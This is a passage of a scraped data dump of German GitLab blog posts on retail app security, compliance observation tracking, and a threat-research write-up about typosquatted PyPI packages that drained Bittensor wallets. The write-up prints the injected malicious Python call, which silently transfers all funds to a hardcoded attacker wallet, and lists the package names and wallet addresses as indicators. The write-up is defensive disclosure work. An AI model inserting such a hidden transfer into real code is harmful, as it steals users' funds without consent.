Richtlinien.\u003C/i>\u003C/center>\n\n### Geteilte Sicherheitsverantwortung, keine Silos\n\nDie erfolgreichsten Retail-Sicherheitsprogramme machen Sicherheit zur Verantwortung aller, nicht nur zur Last des Sicherheitsteams.\n\n**Entwickler(innen)-Ermächtigung**\n\nSicherheits- und Compliance-Anleitungen erscheinen direkt in Merge Requests, wodurch es unmöglich wird, kritische Probleme zu übersehen. Entwickler(innen) erhalten sofortiges Feedback zu jedem Commit mit klaren Erklärungen zu Risiken und Behebungsschritten. Zum Beispiel helfen KI-gestützte Schwachstellenerklärung und Schwachstellenbehebung Entwickler(inne)n, Sicherheitsprobleme unabhängig zu verstehen und zu beheben, wodurch Engpässe reduziert und Sicherheitsexpertise im gesamten Team aufgebaut wird.\n\n![Schwachstellenseite mit Schaltfläche zur Erklärung oder Lösung von Problemen mit KI. Hilft, die Wissenslücke mit KI zu überbrücken.](https://res.cloudinary.com/about-gitlab-com/image/upload/v1756988741/uenrjye3arfg9wjtwss1.png)\n\n\u003Ccenter>\u003Ci>Schwachstellenseite mit Schaltfläche zur Erklärung oder Lösung von Problemen mit KI. Hilft, die Wissenslücke mit KI zu überbrücken.\u003C/i>\u003C/center>\n\n\u003Cp>\u003C/p>\n\n**Automatisierte Compliance**\n\nGeneriere Audit-Berichte, verfolge die Lizenznutzung und pflege eine Software-Stückliste (SBOM) ohne manuellen Aufwand.\n\n![GitLabs automatisierter Abhängigkeitsbericht bietet eine umfassende SBOM, die alle Projektabhängigkeiten mit ihrem Schwachstellenstatus, Lizenzdetails und Sicherheitsergebnissen für vollständige Transparenz und Compliance anzeigt.](https://res.cloudinary.com/about-gitlab-com/image/upload/v1756988739/gpakhdvkegloqxhaeje8.png)\n\n\u003Ccenter>\u003Ci>GitLabs automatisierter Abhängigkeitsbericht bietet eine umfassende SBOM, die alle Projektabhängigkeiten mit ihrem Schwachstellenstatus, Lizenzdetails und Sicherheitsergebnissen für vollständige Transparenz und Compliance anzeigt.\u003C/i>\u003C/center>\n\u003Cp>\u003C/p>\n\nDieser Ansatz verwandelt Sicherheit von einem HIndernis, das die Bereitstellung verlangsamt, in ein Fundament, das selbstbewusste, schnelle Innovation ermöglicht.\n\n## Plattform vs. Einzeltools: Was Händler wissen müssen\n\n| Fähigkeit | Einzeltools | GitLab DevSecOps-Plattform |\n| ------------------------------ | ------------------------ | ---------------------------------------------- |\n| SAST/DAST/API/Fuzz | Getrennt & begrenzt | Vollständig integriert |\n| Lizenz- & Abhängigkeitsscannen | Oft externe Tools | Eingebaut |\n| Compliance- & Audit-Berichte | Manuell oder unverbunden | Automatisiert mit Nachverfolgbarkeit |\n| Zusammenarbeit zwischen Teams | Fragmentiert | Einheitliche Umgebung |\n| End-to-End-Sichtbarkeit | Tool-spezifisch | Vollständiger Lebenszyklus + Wertstrom-Ansicht |\n\n## Das Fazit: Sicherheitsexzellenz treibt den Einzelhandelserfolg voran\n\nIm Einzelhandel geht es bei Sicherheit nicht nur um Datenschutz, sondern um den Schutz der Kundenerfahrung, die den Umsatz antreibt. Wenn Sicherheit Veröffentlichungen verlangsamt oder Schwachstellen schafft, wirkt sich das direkt auf den Umsatz aus. Kunden erwarten jedes Mal sichere, nahtlose Erlebnisse.\n\nGitLabs integrierte DevSecOps-Plattform hilft Händlern:\n\n* **Schneller bereitzustellen ohne Sicherheitskompromisse** mit automatisierten Scans, die Probleme erkennen, bevor Kunden es tun. \n* **Compliance-Anforderungen mühelos zu erfüllen** durch integrierte Berichterstattung für DSGVO, PCI-DSS und Branchenstandards. \n* **Sicherheitstoolkosten erheblich zu senken** durch Ersatz mehrerer Einzellösungen mit einer Plattform. \n* **Entwickler(innen) zu Sicherheitsbefürwortern zu machen** mit Anleitung und Automatisierung, nicht mit Hindernissen.\n\nTeste hier einige der Sicherheitsfunktionen von GitLab:\n\n* [Schwachstellen mit GitLab Duo beheben](https://gitlab.navattic.com/ve-vr-short) \n* [Scans zur Pipeline hinzufügen](https://gitlab.navattic.com/gitlab-scans) \n* [Compliance-Frameworks](https://gitlab.navattic.com/compliance-short) \n* [Erweiterte SAST](https://gitlab.navattic.com/advanced-sast-short)\n\n> Bereit loszulegen? Entdecke, wie GitLab Ultimate mit Duo Enterprise deine Retail-Sicherheitsstrategie mit einer [kostenlosen Testversion](https://about.gitlab.com/free-trial/) optimieren kann.",[14,677,678,679],"product","features","AI/ML","2025-09-04","https://res.cloudinary.com/about-gitlab-com/image/upload/v1756989645/fojzxakmfdea6jfqjkrl.png",{"featured":93,"template":683,"slug":684},"BlogPost","a-developers-guide-to-building-secure-retail-apps-with-gitlab","content:de-de:blog:a-developers-guide-to-building-secure-retail-apps-with-gitlab.yml","A Developers Guide To Building Secure Retail Apps With Gitlab","de-de/blog/a-developers-guide-to-building-secure-retail-apps-with-gitlab.yml","de-de/blog/a-developers-guide-to-building-secure-retail-apps-with-gitlab",[690,710,731,750,770,787,813,833,854,876,896,916,936,958,982,1002,1022,1046],{"_path":691,"_dir":248,"_draft":6,"_partial":6,"_locale":7,"seo":692,"content":696,"config":704,"_id":706,"_type":16,"title":707,"_source":18,"_file":708,"_stem":709,"_extension":21},"/de-de/blog/gitlab-uncovers-bittensor-theft-campaign-via-pypi",{"config":693,"title":694,"description":695},{"noIndex":6},"GitLab deckt Bittensor-Diebstahlkampagne über PyPI auf","Supply-Chain-Angriff zeigt Schwachstellen in der Paketvalidierung - Erkenntnisse für deutsche Unternehmen zur systematischen Absicherung von Software-Dependencies.",{"title":694,"authors":697,"description":699,"date":700,"body":701,"category":14,"tags":702,"heroImage":703},[698],"Michael Henriksen","Das Vulnerability Research Team von GitLab identifizierte eine Supply-Chain-Angriffskampagne, die Typosquatting-PyPI-Pakete verwendet, um Kryptowährung aus Bittensor-Wallets durch Manipulation von Staking-Operationen zu stehlen.","2025-08-06","Das Vulnerability Research Team von GitLab hat eine ausgeklügelte\n\n\nKryptowährungs-Diebstahlkampagne identifiziert, die das Bittensor-Ökosystem\n\n\ndurch Typosquatting-Python-Pakete auf PyPI ins Visier nimmt.\n\n\nDie Untersuchung begann, als das automatisierte Paket-Überwachungssystem von GitLab verdächtige Aktivitäten im Zusammenhang mit beliebten Bittensor-Paketen meldete. Es wurden mehrere Typosquatting-Varianten legitimer Bittensor-Pakete entdeckt, die jeweils darauf ausgelegt waren, Kryptowährung von ahnungslosen Entwickler(inne)n und Nutzer(inne)n zu stehlen.\n\n\n> **Geschäftsrelevanz:** Dieser koordinierte Angriff zeigt, wie Cyberkriminelle systematisch vertrauensvolle Software-Ökosysteme ausnutzen. **90% der Fortune-500-Unternehmen** nutzen Open-Source-Komponenten - jede davon ist ein potentieller Angriffspunkt für ähnliche Kampagnen.\n\n\n## Die Angriffsmethode im Detail\n\n\nDie identifizierten bösartigen Pakete wurden alle innerhalb eines 25-minütigen Zeitfensters am 6. August 2025 veröffentlicht:\n\n\n* `bitensor@9.9.4` (02:52 UTC)\n\n* `bittenso-cli@9.9.4` (02:59 UTC)\n\n* `qbittensor@9.9.4` (03:02 UTC)\n\n* `bitensor@9.9.5` (03:15 UTC)\n\n* `bittenso@9.9.5` (03:16 UTC)\n\n\nAlle Pakete wurden entwickelt, um die legitimen `bittensor`- und `bittensor-cli`-Pakete nachzuahmen, die Kernkomponenten des dezentralisierten KI-Netzwerks Bittensor sind.\n\n\n### Technische Analyse: So funktioniert der Diebstahl\n\n\nDie Analyse offenbarte einen sorgfältig ausgearbeiteten Angriffsvektor, bei dem die Angreifer legitime Staking-Funktionalitäten modifizierten, um Gelder zu stehlen. Die bösartigen Pakete enthalten eine manipulierte Version der `stake_extrinsic`-Funktion in `bittensor_cli/src/commands/stake/add.py`.\n\n\nWo Nutzer(innen) eine normale Staking-Operation erwarten, haben die Angreifer in Zeile 275 bösartigen Code eingefügt, der stillschweigend alle Gelder in ihre Wallet umleitet:\n\n\n```python\n\nresult = await transfer_extrinsic(\n subtensor=subtensor,\n wallet=wallet,\n destination=\"5FjgkuPzAQHax3hXsSkNtue8E7moEYjTgrDDGxBvCzxc1nqR\",\n amount=amount,\n transfer_all=True,\n prompt=False\n)\n\n```\n\n\n**Diese bösartige Injektion untergräbt den Staking-Prozess vollständig:**\n\n\n* **Stille Ausführung:** Verwendet `prompt=False`, um die Benutzerbestätigung zu umgehen\n\n* **Vollständige Wallet-Entleerung:** Setzt `transfer_all=True`, um alle verfügbaren Gelder zu stehlen, nicht nur den Staking-Betrag\n\n* **Hartcodiertes Ziel:** Leitet alle Gelder an die Wallet-Adresse der Angreifer weiter\n\n* **Versteckt in Sichtweite:** Wird während einer scheinbar normalen Staking-Operation ausgeführt\n\n\nDas Perfide an diesem Angriff: Nutzer(innen) glauben, Token für Belohnungen zu staken, während die modifizierte Funktion stattdessen die gesamte Wallet entleert.\n\n\n### Besondere Relevanz für deutsche Unternehmen\n\n\nDiese Angriffsmethodik ist nicht auf Kryptowährungen beschränkt. Ähnliche Typosquatting-Strategien könnten manipulierte Pakete in geschäftskritische Systeme einschleusen - von Zahlungsverarbeitung bis hin zu Industriesteuerungen.\n\n\n### Warum die Staking-Funktionalität ins Visier genommen wird\n\n\nDie Angreifer scheinen gezielt Staking-Operationen aus kalkulierten Gründen ins Visier genommen zu haben. In Blockchain-Netzwerken wie Bittensor bedeutet **Staking**, dass Nutzer(innen) ihre Kryptowährungs-Token sperren, um Netzwerkoperationen zu unterstützen und im Gegenzug Belohnungen zu erhalten – ähnlich wie Zinsen auf eine Einlage.\n\n\nDies macht Staking zu einem idealen Angriffsvektor:\n\n\n1. **Hochwertige Ziele:** Nutzer(innen), die staken, besitzen typischerweise erhebliche Kryptowährungsbestände, was sie zu lukrativen Opfern macht.\n\n2. **Erforderlicher Wallet-Zugriff:** Staking-Operationen erfordern, dass Nutzer(innen) ihre Wallets entsperren und Authentifizierung bereitstellen – genau das, was der bösartige Code benötigt, um Gelder abzuziehen.\n\n3. **Erwartete Netzwerkaktivität:** Da Staking natürlich Blockchain-Transaktionen beinhaltet, erregt die zusätzliche bösartige Übertragung nicht sofort Verdacht.\n\n4. **Routineoperationen:** Erfahrene Nutzer(innen) staken regelmäßig, was Vertrautheit schafft, die zu Nachlässigkeit führt und die Aufmerksamkeit reduziert.\n\n5. **Verzögerte Entdeckung:** Nutzer(innen) könnten anfänglich annehmen, dass Saldoänderungen normale Staking-Gebühren oder temporäre Sperrungen sind, was die Entdeckung des Diebstahls verzögert.\n\n\nDurch das Verstecken von bösartigem Code in legitim aussehender Staking-Funktionalität nutzten die Angreifer sowohl die technischen Anforderungen als auch die Nutzerpsychologie von Routine-Blockchain-Operationen aus.\n\n\n## Der Geldspur folgen\n\n\nDas Vulnerability Research Team von GitLab verfolgte die Kryptowährungsflüsse, um das volle Ausmaß dieser Operation zu verstehen. Die primäre Ziel-Wallet `5FjgkuPzAQHax3hXsSkNtue8E7moEYjTgrDDGxBvCzxc1nqR` diente als zentraler Sammelpunkt, bevor die Gelder durch ein Netzwerk von Zwischen-Wallets verteilt wurden.\n\n\n### Das Geldwäsche-Netzwerk\n\n\nDie Analyse offenbarte ein mehrstufiges Geldwäschesystem:\n\n\n1. **Primäre Sammlung:** Gestohlene Gelder kommen zunächst bei `5FjgkuPzAQHax3hXsSkNtue8E7moEYjTgrDDGxBvCzxc1nqR` an\n\n2. **Verteilungsnetzwerk:** Gelder werden schnell zu Zwischen-Wallets verschoben, einschließlich:\n\n * `5HpsyxZKvCvLEdLTkWRM4d7nHPnXcbm4ayAsJoaVVW2TLVP1`\n * `5GiqMKy1kAXN6j9kCuog59VjoJXUL2GnVSsmCRyHkggvhqNC`\n * `5ER5ojwWNF79k5wvsJhcgvWmHkhKfW5tCFzDpj1Wi4oUhPs6`\n * `5CquBemBzAXx9GtW94qeHgPya8dgvngYXZmYTWqnpea5nsiL`\n3. **Finale Konsolidierung:** Alle Pfade konvergieren schließlich bei `5D6BH6ai79EVN51orsf9LG3k1HXxoEhPaZGeKBT5oDwnd2Bu`\n\n4. **Auszahlungsendpunkt:** Das finale Ziel scheint\n `5HDo9i9XynX44DFjeoabFqPF3XXmFCkJASC7FxWpbqv6D7QQ` zu sein\n\n## Die Typosquatting-Strategie\n\n\nDie Angreifer verwendeten eine Typosquatting-Strategie, die häufige Tippfehler und Paket-Namenskonventionen ausnutzt:\n\n\n* **Fehlende Zeichen:** `bitensor` statt `bittensor` (fehlendes 't')\n\n* **Kürzung:** `bittenso` statt `bittensor` (fehlendes finales 'r')\n\n* **Versions-Nachahmung:** Alle Pakete verwendeten Versionsnummern (`9.9.4`, `9.9.5`), die den legitimen Paketversionen sehr ähnlich sind\n\n\nDieser Ansatz maximiert die Installationswahrscheinlichkeit durch Entwickler-Tippfehler während `pip install`-Befehlen und Copy-Paste-Fehler aus Dokumentationen.\n\n\n## Die Zukunft der Supply-Chain-Sicherheit\n\n\nGitLab investiert weiterhin in proaktive Sicherheitsforschung, um Bedrohungen zu identifizieren und zu neutralisieren, bevor sie die Community beeinträchtigen. Das automatisierte Erkennungssystem arbeitet rund um die Uhr, um die Software-Supply-Chain zu schützen, die die moderne Entwicklung antreibt.\n\n\nDie schnelle Erkennung und Analyse dieses Angriffs demonstriert den Wert proaktiver Sicherheitsmaßnahmen im Kampf gegen ausgeklügelte Bedrohungen. Durch das Teilen der Erkenntnisse streben wir danach, die Widerstandsfähigkeit des gesamten Ökosystems gegen zukünftige Angriffe zu stärken.\n\n\n## Kompromittierungsindikatoren\n\n\n\\| IOC | Beschreibung |\n\n\n\\| -------------------------------------------------- | ----------------------------------------------------------------- |\n\n\n\\| `pkg:pypi/bittenso@9.9.5` | Bösartiges PyPI-Paket |\n\n\n\\| `pkg:pypi/bitensor@9.9.5` | Bösartiges PyPI-Paket |\n\n\n\\| `pkg:pypi/bitensor@9.9.4` | Bösartiges PyPI-Paket |\n\n\n\\| `pkg:pypi/qbittensor@9.9.4` | Bösartiges PyPI-Paket |\n\n\n\\| `pkg:pypi/bittenso-cli@9.9.4` | Bösartiges PyPI-Paket |\n\n\n\\| `5FjgkuPzAQHax3hXsSkNtue8E7moEYjTgrDDGxBvCzxc1nqR` | Bittensor (TAO) Wallet-Adresse für den Empfang gestohlener Gelder |\n\n\n## Zeitachse\n\n\n\\| Datum & Uhrzeit | Aktion |\n\n\n\\| -------------------- | --------------------------------------------------------------------------------------------- |\n\n\n\\| **2025-08-06T06:33** | Erste Analyse verdächtiger Pakete, die vom automatisierten Überwachungssystem gemeldet wurden |\n\n\n\\| **2025-08-06T09:42** | `bittenso@9.9.5` an PyPi.org gemeldet |\n\n\n\\| **2025-08-06T09:46** | `bitensor@9.9.5` an PyPi.org gemeldet |\n\n\n\\| **2025-08-06T09:47** | `bitensor@9.9.4` an PyPi.org gemeldet |\n\n\n\\| **2025-08-06T09:49** | `qbittensor@9.9.4` an PyPi.org gemeldet |\n\n\n\\| **2025-08-06T09:51** | `bittenso-cli@9.9.4` an PyPi.org gemeldet |\n\n\n\\| **2025-08-06T15:26** | PyPi.org entfernte `bittenso@9.9.5` |\n\n\n\\| **2025-08-06T15:27** | PyPi.org entfernte `bitensor@9.9.5` |\n\n\n\\| **2025-08-06T15:27** | PyPi.org entfernte `bitensor@9.9.4` |\n\n\n\\| **2025-08-06T15:28** | PyPi.org entfernte `qbittensor@9.9.4` |\n\n\n\\| **2025-08-06T15:28** | PyPi.org entfernte `bittenso-cli@9.9.4` |\n",[14],"https://res.cloudinary.com/about-gitlab-com/image/upload/f_auto,q_auto,c_lfill/v1750098739/Blog/Hero%20Images/Blog/Hero%20Images/AdobeStock_282096522_securitycompliance.jpeg_1750098739024.jpg",{"featured":6,"template":683,"slug":705},"gitlab-uncovers-bittensor-theft-campaign-via-pypi","content:de-de:blog:gitlab-uncovers-bittensor-theft-campaign-via-pypi.yml","Gitlab Uncovers Bittensor Theft Campaign Via Pypi","de-de/blog/gitlab-uncovers-bittensor-theft-campaign-via-pypi.yml","de-de/blog/gitlab-uncovers-bittensor-theft-campaign-via-pypi",{"_path":711,"_dir":248,"_draft":6,"_partial":6,"_locale":7,"seo":712,"content":716,"config":725,"_id":727,"_type":16,"title":728,"_source":18,"_file":729,"_stem":730,"_extension":21},"/de-de/blog/how-to-transform-compliance-observation-management-with-gitlab",{"config":713,"title":714,"description":715},{"noIndex":6},"Wie du das Compliance-Beobachtungsmanagement mit GitLab transformierst","Erfahre, wie das Security-Compliance-Team von GitLab das Beobachtungsmanagement mithilfe der DevSecOps-Plattform verbessert hat und dabei Transparenz, Zusammenarbeit und Verantwortlichkeit gesteigert hat.",{"title":717,"description":715,"authors":718,"heroImage":720,"date":721,"body":722,"category":14,"tags":723},"Wie du das Management von Compliance-Beobachtungen mit GitLab transformierst",[719],"Madeline Lake","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749675154/Blog/Hero%20Images/blog-image-template-1800x945__8_.png","2025-07-24","Eine Beobachtung ist ein Compliance-Befund oder eine Schwachstelle, die während der Kontrollüberwachung identifiziert wird. Im Wesentlichen handelt es sich um eine Lücke zwischen Soll und Ist deiner Sicherheitskontrollen. Beobachtungen entstehen aus drei Hauptquellen: Designmängel, bei denen die Kontrolle nicht ordnungsgemäß strukturiert ist. Probleme mit der Betriebseffektivität, bei denen die Kontrolle existiert, aber nicht wie vorgesehen funktioniert. Oder Beweislücken, bei denen erforderliche Dokumentation fehlt.\n\nDiese Beobachtungen entstehen aus unserem vierteljährlichen Kontrollüberwachungsprozess. Dabei bewerten wir systematisch die Effektivität von Sicherheitskontrollen für unsere Zertifizierungen (SOC 2, ISO 27001 usw.). Zusätzlich können Beobachtungen aus externen Audits durch unabhängige Prüfer(innen) resultieren.\n\nBeobachtungsmanagement ist der Prozess, mit dem wir diese Beobachtungen von der Identifizierung über die Behebung bis zum Abschluss verwalten. In diesem Artikel erfährst du, wie das GitLab-Sicherheitsteam die DevSecOps-Plattform nutzt, um Beobachtungen zu verwalten und zu beheben, und welche Effizienzsteigerungen wir dadurch erzielt haben.\n\n## Der GitLab-Beobachtungslebenszyklus: Von der Identifizierung zur Lösung\n\nDer Lebenszyklus einer Beobachtung umfasst den gesamten Prozess von der ersten Identifizierung durch Compliance-Ingenieur(innen) bis zur abgeschlossenen Behebung durch Behebungsverantwortliche. Dieser Lebenszyklus ermöglicht transparente Echtzeit-Statusberichte, die für alle Beteiligten leichter zu verstehen und zu verfolgen sind.\n\nHier sind die Phasen des Beobachtungslebenszyklus:\n\n**1. Identifizierung**\n\n* Compliance-Ingenieur(innen) identifizieren potenzielle Beobachtungen während der vierteljährlichen Überwachung. \n* Eine erste Validierung erfolgt, um zu bestätigen, dass der Befund eine echte Kontrolllücke darstellt. \n* Die detaillierte Dokumentation beginnt sofort in einem GitLab-Issue. \n* Die Grundursache der Beobachtung wird ermittelt und ein Behebungsplan zur Behebung der Grundursache wird erstellt.\n\n**2. Validierung**\n\n* Das Issue wird dem/der entsprechenden Behebungsverantwortlichen zugewiesen (normalerweise eine Teamleitung oder Abteilungsleiter(in)). \n* Der/die Behebungsverantwortliche überprüft und bestätigt, dass er/sie die Verantwortung versteht und akzeptiert. \n* Der Behebungsplan wird bei Bedarf gemeinsam überprüft, priorisiert und aktualisiert.\n\n**3. In Bearbeitung**\n\n* Die aktive Behebungsarbeit beginnt mit klaren Meilensteinen und Fristen. \n* Regelmäßige Updates werden über GitLab-Kommentare und Statusänderungen bereitgestellt. \n* Die Zusammenarbeit erfolgt transparent, sodass alle Beteiligten den Fortschritt sehen können.\n\n**4. Behoben**\n\n* Der/die Behebungsverantwortliche markiert die Arbeit als abgeschlossen und stellt Nachweise zur Verfügung. \n* Das Issue geht zur Compliance-Überprüfung zur Validierung über.\n\n**5. Lösung**\n\n* Compliance-Ingenieur(innen) verifizieren, dass die Abschlusskriterien erfüllt sind. \n* Das Issue wird mit finaler Dokumentation geschlossen. \n* Erkenntnisse werden für zukünftige Prävention erfasst.\n\n**Alternative Pfade** behandeln blockierte Arbeiten, Risikoakzeptanzentscheidungen und stagnierende Behebungsbemühungen mit entsprechenden Eskalations-Workflows.\n![Beispiel eines Beobachtungslebenszyklus](https://res.cloudinary.com/about-gitlab-com/image/upload/v1753301753/pbvheikwpivuvhzd5ith.png)\n\n\u003Ccenter>\u003Ci>Beispiel eines Beobachtungslebenszyklus\u003C/i>\u003C/center>\n\n## Die Macht der Transparenz in GitLab\n\nEffektives Management von Compliance-Befunden sollte keine Detektivarbeit erfordern. Grundlegende Informationen wie Eigentümerschaft, Status oder Priorität sollten sofort ersichtlich sein. Dennoch erleben die meisten Organisationen folgendes Szenario: Compliance-Teams jagen Updates hinterher. Operative Teams kennen ihre Verantwortlichkeiten nicht. Die Führungsebene hat keine Sichtbarkeit auf tatsächliche Risiken – bis zur Audit-Saison.\n\nDas Security-Compliance-Team bei GitLab stand vor genau diesen Problemen. Unser Team nutzte zunächst ein dediziertes GRC-Tool als zentrale Datenquelle für ausstehende Befunde. Doch wichtige Stakeholder hatten keine Sichtbarkeit. Das Ergebnis: Nur minimale Behebungen fanden statt. Das Team verbrachte seine Zeit mit administrativen Aufgaben, anstatt Behebungsbemühungen zu leiten.\n\nUnsere Lösung: Wir verlagerten das Management direkt in GitLab-Issues innerhalb eines dedizierten Projekts. Dieser Ansatz verwandelt Compliance-Befunde in sichtbare, umsetzbare Arbeitselemente. Sie integrieren sich natürlich in Entwicklungs- und Betriebs-Workflows. Jeder Stakeholder kann sehen, was Aufmerksamkeit benötigt. Teams können bei Behebungsplänen zusammenarbeiten und den Fortschritt in Echtzeit verfolgen.\n\n### Intelligente Organisation durch Labels und Issue Boards\n\nGitLab ermöglicht es Teams, Beobachtungs-Issues in mehrere Organisationsansichten zu kategorisieren. Das Security-Compliance-Team verwendet Folgendes zur Kategorisierung von Beobachtungen:\n\n* **Workflow:** `~workflow::identified`, `~workflow::validated`, `~workflow::in progress`, `~workflow::remediated` \n* **Abteilung:** `~dept::engineering`, `~dept::security`, `~dept::product` \n* **Risikoschwere:** `~risk::critical`, `~risk::high`, `~risk::medium`, `~risk::low` \n* **System:** `~system::gitlab`, `~system::gcp`, `~system::hr-systems` \n* **Programm:** `~program::soc2`, `~program::iso`, `~program::fedramp` , `~program::pci`\n\nDiese Labels werden dann genutzt, um Issue Boards zu erstellen:\n\n* **Workflow-Boards** visualisieren die Phasen des Beobachtungslebenszyklus. \n* **Abteilungs-Boards** zeigen die Behebungsarbeitslast jedes Teams. \n* **Risikobasierte Boards** priorisieren kritische Befunde, die sofortige Aufmerksamkeit erfordern. \n* **System-Boards** visualisieren Beobachtungen nach System. \n* **Programm-Boards** verfolgen die zertifizierungsspezifische Beobachtungslösung.\n\nLabels ermöglichen leistungsstarke Filter- und Berichtsfunktionen und unterstützen gleichzeitig automatisierte Workflows durch unsere Triage-Bot-Richtlinien. Weitere Details zu unserer Automatisierungsstrategie findest du im Abschnitt Automatisierung.\n\n## Automatisierung: Intelligenter arbeiten, nicht härter\n\nDie Verwaltung von Dutzenden von Befunden über mehrere Zertifizierungen hinweg erfordert intelligente Automatisierung. Das Security-Compliance-Team nutzt den Triage-Bot – ein Open-Source-Projekt, das in GitLab gehostet wird. Das Triage-Bot-Gem ermöglicht es Projektmanager(inne)n, Issues automatisch zu triagieren. Die Triagierung basiert auf definierten Richtlinien in GitLab-Projekten oder -Gruppen.\n\nInnerhalb des Beobachtungsmanagement-Projekts haben wir Richtlinien geschrieben, um sicherzustellen, dass jedes Issue eine(n) Zugewiesene(n) hat, jedes Issue erforderliche Labels hat, Issues alle 30 Tage aktualisiert werden und blockierte und stagnierende Issues alle 90 Tage angestupst werden. Zusätzlich wird wöchentlich ein Zusammenfassungs-Issue erstellt, um alle Issues zusammenzufassen, die nicht unseren definierten Richtlinien entsprechen. Dies ermöglicht es Teammitgliedern, Issues effizient zu überwachen und weniger Zeit für administrative Aufgaben aufzuwenden.\n\n## Erfolgsmessung: Schlüsselmetriken und Berichterstattung\n\nGitLabs Roh-Issue-Daten lassen sich in umsetzbare Erkenntnisse umwandeln. Organisationen können aussagekräftige Insights aus verschiedenen Datenquellen extrahieren: Issue-Erstellungsdatum, Abschlussdatum, letztes Update und Labels. Die folgenden Metriken bieten einen umfassenden Überblick über die Effektivität deines Compliance-Managements:\n\n**Analyse der Lösungseffizienz:** Durchschnittliche Zeit von der Identifizierung bis zur Lösung nach Abteilung und Schweregrad.\n\nVerfolge Issue-Erstellungs- versus Abschlussdaten über Abteilungen und Schweregrade hinweg. Das identifiziert Engpässe und misst die Leistung gegen SLAs. So erkennst du, welche Teams bei schnellen Reaktionen hervorragend sind. Und welche zusätzliche Ressourcen oder Prozessverbesserungen benötigen.\n\n**Echtzeit-Risikobewertung:** Aktuelles Risikoprofil basierend auf offenen kritischen und hochriskanten Befunden.\n\nNutze Risikostufen-Labels für dynamische Visualisierungen der aktuellen Risikoexposition. Das bietet der Führungsebene sofortiges Verständnis: Welche kritischen Befunde erfordern dringend Aufmerksamkeit.\n\n**Strategische Ressourcenzuweisung:** Risikoverteilung auf Abteilungsebene für gezielte Verbesserungen.\n\nIdentifiziere, welche Abteilungen für Befunde mit dem höchsten Risiko verantwortlich sind. So priorisierst du Ressourcen, Aufsicht und Projekte richtig. Dieser datengesteuerte Ansatz fokussiert Verbesserungen dort, wo sie maximale Wirkung haben.\n\n**Überwachung der Compliance-Bereitschaft:** Zertifizierungsspezifische Beobachtungszahlen und Lösungsraten\n\nNutze Zertifizierungs-Labels, um die Audit-Bereitschaft zu bewerten und den Fortschritt bei Compliance-Zielen zu verfolgen. Diese Metrik bietet eine Frühwarnung vor potenziellen Zertifizierungsrisiken und validiert Behebungsbemühungen.\n\n**Verantwortlichkeitsverfolgung:** Überfällige Behebungen\n\nÜberwache die SLA-Einhaltung, um sicherzustellen, dass Beobachtungen rechtzeitig Aufmerksamkeit erhalten. Diese Metrik hebt systemische Verzögerungen hervor und ermöglicht proaktive Intervention, bevor kleine Probleme zu großen Problemen werden.\n\n**Engagement-Gesundheitsprüfung:** Beobachtungsaktualität\n\nVerfolge die jüngste Aktivität (Updates innerhalb von 30 Tagen), um sicherzustellen, dass Beobachtungen aktiv verwaltet und nicht vergessen werden. Diese Metrik identifiziert stagnierende Issues, die möglicherweise eine Eskalation oder Neuzuweisung erfordern.\n\n## Fortgeschrittene Strategien: Beobachtungsmanagement weiter vorantreiben\n\nHier ist, was du tun kannst, um die Wirkung des Beobachtungsmanagements in deiner Organisation zu vertiefen.\n\n**Integration mit Sicherheitstools**\n\nModernes Beobachtungsmanagement geht über manuelle Verfolgung hinaus, indem es sich mit deiner bestehenden Sicherheitsinfrastruktur verbindet. Organisationen können Schwachstellenscanner und Sicherheitsüberwachungstools konfigurieren, um automatisch Beobachtungs-Issues zu generieren, wodurch manuelle Dateneingabe eliminiert und umfassende Abdeckung sichergestellt wird.\n\n**Prädiktive Analytik anwenden**\n\nModernes Compliance-Management geht über manuelle Verfolgung hinaus. Es verbindet sich mit deiner bestehenden Sicherheitsinfrastruktur. Organisationen können Schwachstellenscanner und Sicherheitsüberwachungstools konfigurieren. Diese generieren automatisch Issues für Compliance-Befunde. Das eliminiert manuelle Dateneingabe und stellt umfassende Abdeckung sicher..\n\n**Anpassung für Stakeholder**\n\nEffektives Beobachtungsmanagement erkennt an, dass verschiedene Rollen unterschiedliche Perspektiven auf dieselben Daten erfordern. Rollenbasierte Dashboards liefern maßgeschneiderte Ansichten für Führungskräfte, die hochrangige Risikozusammenfassungen suchen, Abteilungsleiter(innen), die die Teamleistung verfolgen, und einzelne Mitwirkende, die ihre zugewiesenen Beobachtungen verwalten. Automatisierte Berichtssysteme können konfiguriert werden, um verschiedenen Zielgruppenbedürfnissen und Kommunikationspräferenzen zu entsprechen, von detaillierten technischen Berichten bis zu Executive Briefings. Self-Service-Analysefähigkeiten befähigen Stakeholder, Ad-hoc-Analysen durchzuführen und benutzerdefinierte Erkenntnisse zu generieren, ohne technisches Fachwissen oder Support zu benötigen.\n\n## Von bloßer Compliance zu operativer Exzellenz\n\nGitLabs Ansatz zum Compliance-Management stellt mehr als einen Toolwechsel dar. Es ist eine grundlegende Verschiebung: von reaktiver Compliance zu proaktiver Risikominderung. Das Aufbrechen von Silos zwischen Compliance-Teams und operativen Stakeholdern bringt beispiellose Transparenz. Gleichzeitig verbessern sich die Behebungsergebnisse dramatisch.\n\nDie Ergebnisse sind messbar: Schnellere Lösungen durch transparente Verantwortlichkeit. Aktive Stakeholder-Zusammenarbeit statt widerwilliger Teilnahme. Kontinuierliche Audit-Bereitschaft statt periodischer Hektik. Automatisierte Workflows befreien Compliance-Fachleute für strategische Arbeit. Reichhaltige Daten ermöglichen prädiktive Analysen. Der Fokus verschiebt sich von reaktiver Brandbekämpfung zu proaktiver Prävention.\n\nAm wichtigsten ist, dass dieser Ansatz Compliance von einer Last zu einem strategischen Befähiger erhebt. Wenn Beobachtungen zu sichtbaren, verfolgbaren Arbeitselementen werden, die in operative Workflows integriert sind, entwickeln Organisationen eine stärkere Sicherheitskultur und dauerhafte Verbesserungen, die über jeden einzelnen Audit-Zyklus hinausgehen. Das Ergebnis ist nicht nur regulatorische Compliance. Es ist organisatorische Resilienz und Wettbewerbsvorteil durch überlegenes Risikomanagement.\n\n> Möchtest du mehr über GitLabs Sicherheits-Compliance-Praktiken erfahren? Schau dir unser [Security Compliance Handbook](https://handbook.gitlab.com/handbook/security/security-assurance/security-compliance/) für weitere Einblicke und Implementierungsanleitungen an.",[14,724],"inside GitLab",{"featured":6,"template":683,"slug":726},"how-to-transform-compliance-observation-management-with-gitlab","content:de-de:blog:how-to-transform-compliance-observation-management-with-gitlab.yml","How To Transform Compliance Observation Management With 